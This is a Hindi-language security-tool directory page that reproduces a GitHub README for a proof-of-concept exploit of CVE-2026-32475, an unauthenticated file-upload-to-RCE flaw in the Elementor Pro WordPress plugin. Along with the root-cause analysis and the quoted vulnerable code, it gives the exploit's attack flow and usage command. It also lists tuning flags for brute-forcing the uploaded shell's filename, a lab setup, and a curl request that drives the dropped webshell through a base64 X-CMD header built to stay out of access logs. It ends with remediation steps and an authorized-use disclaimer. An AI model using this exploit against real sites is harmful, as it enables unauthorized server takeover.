Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-32475-PoC — # CVE-2026-32475 के लिए PoC: Elementor Pro <=4.2.1 बिना प्रमाणीकरण के फ़ाइल अपलोड से RCE तक। केवल Stdlib Python। | Kitploit
उपकरण/GitHubGitHub/boreas37/cve-2026-32475-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंट
GitHubboreas37/cve-2026-32475-poc

CVE-2026-32475-PoC

# CVE-2026-32475 के लिए PoC: Elementor Pro <=4.2.1 बिना प्रमाणीकरण के फ़ाइल अपलोड से RCE तक। केवल Stdlib Python।

रिपॉजिटरी देखें
11 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-32475 — Elementor Pro बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड → RCE

CVE-2026-32475 (CVSS 9.0) के लिए प्रूफ-ऑफ-कॉन्सेप्ट: Elementor Pro WordPress प्लगइन (≤ 4.2.1) में एक बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड भेद्यता जो रिमोट कोड निष्पादन की ओर ले जाती है।

CVECVE-2026-32475
CVSS9.0 क्रिटिकल
CWECWE-434 (खतरनाक प्रकार की फ़ाइल का अप्रतिबंधित अपलोड)
प्रमाणीकरण आवश्यककोई नहीं
प्रभावितElementor Pro ≤ 4.2.1
ठीक किया गयाElementor Pro 4.2.2 (2026-08-19)
रिपोर्टकर्ताTin Pham (TF1T), Patchstack Bug Bounty Program के माध्यम से

हमले का प्रवाह

root@kitploit:~
बिना प्रमाणीकरण वाला आगंतुक
        │
        ▼
Elementor फ़ॉर्म पेज (फ़ाइल अपलोड फ़ील्ड)
        │
        ▼
multipart/form-data POST → admin-ajax.php
        │
        ├── भाग #1: खाली फ़ाइल
        │      └─► validation(): UPLOAD_ERR_NO_FILE → return   ◄── सत्यापन यहीं रुक जाता है
        │
        └── भाग #2: shell.php
               └─► कभी टाइप-जाँच नहीं की जाती
                       │
                       ▼
               process_field(): continue → .php पेलोड को फिर भी स्थानांतरित करता है
                       │
                       ▼
        wp-content/uploads/elementor/forms/<uniqid>.php
                       │
                       ▼
              उस URL को GET करें  ⇒  RCE

मूल कारण — दो लूप असहमत हैं

Forms मॉड्यूल प्रत्येक अपलोड की गई प्रविष्टि को अलग-अलग लूप सेमेन्टिक्स के साथ दो अलग-अलग पासों में संसाधित करता है:

root@kitploit:~
validation()                              process_field()
────────────                              ──────────────
foreach files as file:                    foreach files as file:
    if empty(file):                           if empty(file):
        add_error(...)                            continue          ◄─ केवल इस प्रविष्टि को छोड़ता है
        return                                move_uploaded_file(...)  ◄─ बाकी को स्थानांतरित करता है

validation() पहली प्रविष्टि पर रुक जाता है जिसकी त्रुटि UPLOAD_ERR_NO_FILE है, इसलिए उसके बाद आने वाली .php प्रविष्टि की कभी टाइप-जाँच नहीं होती। process_field() केवल उस खाली प्रविष्टि को छोड़ देता है और फिर भी प्रत्येक बाद की प्रविष्टि को सार्वजनिक अपलोड निर्देशिका में स्थानांतरित करता है। वैलिडेटर विफलता की रिपोर्ट करता है जबकि मूवर आगे बढ़ता है — दो लूपों के बीच का डीसिंक्रोनाइज़ेशन ही भेद्यता है।

भेद्य कोड (modules/forms/fields/upload.php, ≤ 4.2.1):

root@kitploit:~
// validation()
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
    return;                                   // ← पूरे लूप को रोक देता है
}

// process_field()
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
    continue;                                 // ← केवल इस प्रविष्टि को छोड़ता है
}
...
$file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
$filename = uniqid() . '.' . $file_extension; // हमलावर-नियंत्रित एक्सटेंशन बच जाता है
move_uploaded_file( $file['tmp_name'], $new_file );

4.2.2 में फिक्स दोनों लूपों को सहमत कराता है — खाली प्रविष्टि अब सत्यापन को जल्दी समाप्त नहीं करती, इसलिए .php प्रविष्टि की टाइप-जाँच होती है और उसे अस्वीकार कर दिया जाता है।

यह PoC क्या करता है

  1. लक्षित फ़ॉर्म पेज प्राप्त करता है और post_id, form_id तथा अपलोड फ़ील्ड id को स्क्रैप करता है।
  2. दो-भाग वाला दुर्भावनापूर्ण multipart POST admin-ajax.php पर भेजता है (action=elementor_pro_forms_send_form)।
  3. पूर्वानुमानित <uniqid> फ़ाइलनाम स्थान को स्कैन करके शेल URL पुनर्प्राप्त करता है (पूर्ण uniqid → फ़ाइलनाम मैपिंग के लिए analysis.md देखें)।
  4. एक HTTP हेडर के माध्यम से अपलोड किए गए वेबशेल के ज़रिए अनुरोधित कमांड निष्पादित करता है और आउटपुट प्रिंट करता है।

वेबशेल कमांड के लिए हेडर का उपयोग क्यों करता है

शेल अपना कमांड एक X-CMD अनुरोध हेडर (base64-डिकोडेड) से पढ़ता है, न कि क्वेरी-स्ट्रिंग/POST पैरामीटर से। यह केवल कमांड ट्रांसपोर्ट को फ़ॉर्म पैरामीटर से अलग और सामान्य एक्सेस-लॉग क्वेरी स्ट्रिंग्स से बाहर रखने के लिए है — इसका भेद्यता से कोई संबंध नहीं है।

उपयोग

root@kitploit:~
python3 el_rce_poc.py --url http://TARGET \
    --page-url http://TARGET/upload-form/ \
    --command "id; hostname; uname -a"

केवल Python 3 stdlib। ट्यूनिंग फ़्लैग:

फ़्लैगडिफ़ॉल्टअर्थ
--probe-seconds0.05स्कैन करने के लिए uniqid माइक्रोसेकंड विंडो (सेकंड)
--step-us2000प्रोब के बीच माइक्रोसेकंड
--workers24समवर्ती प्रोब थ्रेड
--field-idautoअपलोड फ़ील्ड की स्वचालित खोज विफल होने पर मैन्युअल रूप से सेट करें

धीमे लक्ष्यों पर नोट: प्रोब चरण लक्ष्य के लिए भारी हो सकता है (हजारों अनुरोध)। छोटे उपकरणों पर जो लक्ष्य और हमलावर दोनों होस्ट करते हैं, वेब सर्वर समवर्ती सबमिशन छोड़ सकता है — केवल मनमाना-अपलोड प्रिमिटिव साबित करने के लिए --probe-seconds 0 के साथ चलाएं, फिर लक्ष्य पर सीधे wp-content/uploads/elementor/forms/ के अंतर्गत छोड़ी गई .php का पता लगाएं और सत्यापित करें।

परिणाम स्थितियाँ

PoC दो स्वतंत्र मील के पत्थर अलग करता है:

root@kitploit:~
मनमाना अपलोड प्रिमिटिव   →   PASS / FAIL
फ़ाइलनाम पुनर्प्राप्ति (uniqid)   →   PASS / PARTIAL
RCE पुष्टि             →   PASS (उपरोक्त दोनों सफल)

एग्ज़िट कोड 0 का अर्थ है पूर्ण RCE पुष्टि। एग्ज़िट कोड 2 का अर्थ है कि अपलोड प्रिमिटिव सिद्ध हो गया लेकिन फ़ाइलनाम विंडो के भीतर अनुमान नहीं लगाया जा सका (छोड़ी गई .php को wp-content/uploads/elementor/forms/ के अंतर्गत मैन्युअल रूप से सत्यापित करें)।

लैब (पुनरुत्पादन)

docker-compose.yml देखें। पूर्ण चरण:

root@kitploit:~
# 1) WordPress + MariaDB शुरू करें
docker compose up -d
# DB के लिए ~30s प्रतीक्षा करें, फिर WordPress इंस्टॉल करें
docker compose run --rm wpcli wp core install \
    --url=http://localhost:8090 --title="Lab" --skip-email \
    --admin_user=admin --admin_password=admin123! [email protected]

# 2) मुफ्त Elementor इंस्टॉल करें
docker compose run --rm wpcli wp plugin install elementor --activate

# 3) भेद्य Elementor Pro (<= 4.2.1) इंस्टॉल करें।
#    Elementor Pro एक भुगतान वाला प्लगइन है — अपना कानूनी रूप से प्राप्त
#    elementor-pro.zip (जैसे 4.2.1) पहले docker-compose.yml के बगल में रखें:
docker compose run --rm wpcli wp plugin activate elementor-pro \
    || docker compose exec wordpress bash -c \
       "cd wp-content/plugins && unzip -o /var/www/html/epr.zip"

# 4) फ़ॉर्म पेज बनाएं (PoC रिपॉजिटरी setup_form_page.php भेजती है):
docker cp setup_form_page.php wp-lab:/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'

# 5) PoC चलाएं
python3 el_rce_poc.py --url http://localhost:8090 --page-url "http://localhost:8090/?page_id=<ID>"

सत्यापित आउटपुट (स्थानीय ARM64 लैब)

अपलोड प्रिमिटिव पुष्टि — पेलोड <uniqid>.php के रूप में छोड़ा गया:

root@kitploit:~
$ ls wp-content/uploads/elementor/forms/
6a8cebf002529.php

छोड़े गए शेल का अनुरोध करके RCE पुष्टि:

root@kitploit:~
$ curl http://localhost:8090/wp-content/uploads/elementor/forms/<uniqid>.php \
    -H "X-CMD: $(echo 'id && hostname' | base64)"
POC-RCE-OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)
26564238432c

उपचार

Elementor Pro को 4.2.2+ में अपडेट करें। तब तक, सार्वजनिक फ़ॉर्म से फ़ाइल अपलोड फ़ील्ड हटाएं या WAF नियम द्वारा फ़ॉर्म सबमिशन प्रतिबंधित करें।

संदर्भ

  • Patchstack: Elementor Pro में क्रिटिकल बिना प्रमाणीकरण फ़ाइल अपलोड से RCE
  • CVE-2026-32475 (CVSS 9.0, CWE-434), Elementor Pro 4.2.2 (2026-08-19) में ठीक किया गया
  • Tin Pham (TF1T) द्वारा Patchstack Bug Bounty Program के माध्यम से रिपोर्ट किया गया

अस्वीकरण

केवल अधिकृत सुरक्षा अनुसंधान और लैब उपयोग के लिए।

टूल डाउनलोड करें